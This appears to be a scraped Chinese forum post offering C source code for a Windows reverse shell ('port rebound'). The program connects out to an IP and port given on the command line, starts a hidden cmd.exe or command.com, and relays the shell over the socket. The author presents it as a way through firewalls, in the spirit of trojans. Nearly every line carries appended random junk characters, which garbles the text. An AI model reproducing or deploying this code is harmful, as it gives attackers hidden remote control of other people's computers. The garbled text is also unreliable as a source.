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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 :1lE98=  
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/* ============================== tT8jC:oVa  
Rebound port in Windows NT .#:,j1L"53  
By wind,2006/7 L~oFW'  
===============================*/ y{{EC#  
#include 9kF#*  
#include eb/V}%  
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#pragma comment(lib,"wsock32.lib") 38m%ifh)  
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void OutputShell(); 7XDV=PQ[  
SOCKET sClient; Gtg)%`  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1SFKP$^  
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void main(int argc,char **argv) C^%zV>o  
{ !1RV[b.8  
WSADATA stWsaData; p\{+l;`  
int nRet; l'W+^  
SOCKADDR_IN stSaiClient,stSaiServer; lz)"zV  
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if(argc != 3) Y1 P[^ws  
{ |g7h#F~  
printf("Useage:\n\rRebound DestIP DestPort\n"); E~>6*_?  
return; reA8=>b/  
} `oMeR]~  
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WSAStartup(MAKEWORD(2,2),&stWsaData); SznE:+  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YF -w=Y6  
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stSaiClient.sin_family = AF_INET; ?fmt@@]T?  
stSaiClient.sin_port = htons(0); z/YMl3$l~  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); &5.~XM;  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) tqQ0lv^J  
{ 2\w=U,;(  
printf("Bind Socket Failed!\n"); ~}5Ml_J$,l  
return; 30_un  
} u3wC}Zo  
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stSaiServer.sin_family = AF_INET; r}\h\ {  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Is@a,k  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); IMGqJc,7  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) d# 3tQ*G/  
{ m I zBK]@^  
printf("Connect Error!"); ]|N4 #4  
return; QklNw6,  
} #eC;3Kq#-  
OutputShell(); ;:c%l.Y2  
} 'Y[A'.*}4  
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void OutputShell() B/=q_.1F>  
{ x~;EH6$5'/  
char szBuff[1024]; :Nz?<3R0\  
SECURITY_ATTRIBUTES stSecurityAttributes; vS YKe  
OSVERSIONINFO stOsversionInfo; !/}FPM_  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Tdwwtbe  
STARTUPINFO stStartupInfo; B~>cNj<  
char *szShell; =YGP%}_.p{  
PROCESS_INFORMATION stProcessInformation; 5!ubY 6Ph  
unsigned long lBytesRead; tin|,jA =  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); yK077zH_  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES);  |.C    
stSecurityAttributes.lpSecurityDescriptor = 0; }6J7 <g  
stSecurityAttributes.bInheritHandle = TRUE; <s8? Z1  
5Vi]~dZu7  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 9>Uq$B  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (s"iC:D6U  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )M'UASB;8  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~" 0@u  
stStartupInfo.wShowWindow = SW_HIDE; FxfL+}?Q  
stStartupInfo.hStdInput = hReadPipe; `<J#l;y  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; v (ka,Dk3  
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GetVersionEx(&stOsversionInfo); _;:rkC fj  
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switch(stOsversionInfo.dwPlatformId) lKEX"KQ!  
{ ~pevU`}Uqc  
case 1: s^>lOQ=  
szShell = "command.com"; N\q)LM !M  
break; iS"8X#[]N  
default: uyNJN  
szShell = "cmd.exe"; Vd +Q:L  
break; 5!AV!A_Jp  
} d;~ 3P  
rer|k<k;]G  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); voV:H[RD9  
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send(sClient,szMsg,77,0); jJVT_8J  
while(1) &$c5~9p\B  
{ i<m$#6 <Z  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +~d1 ;0l|  
if(lBytesRead) |qlS6Aln  
{ x=5P+_  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); e8WEz 4r_  
send(sClient,szBuff,lBytesRead,0); L}W1*L$;<  
} ku9@&W+  
else nlzW.OLM  
{ j/9WOIfa  
lBytesRead=recv(sClient,szBuff,1024,0); \2Og>{"U  
if(lBytesRead<=0) break; t<sNc8x  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3@)obb  
} e40udLH~x  
} JoCA{Fa}  
,;.B4  
return; 0/\PZX+  
}
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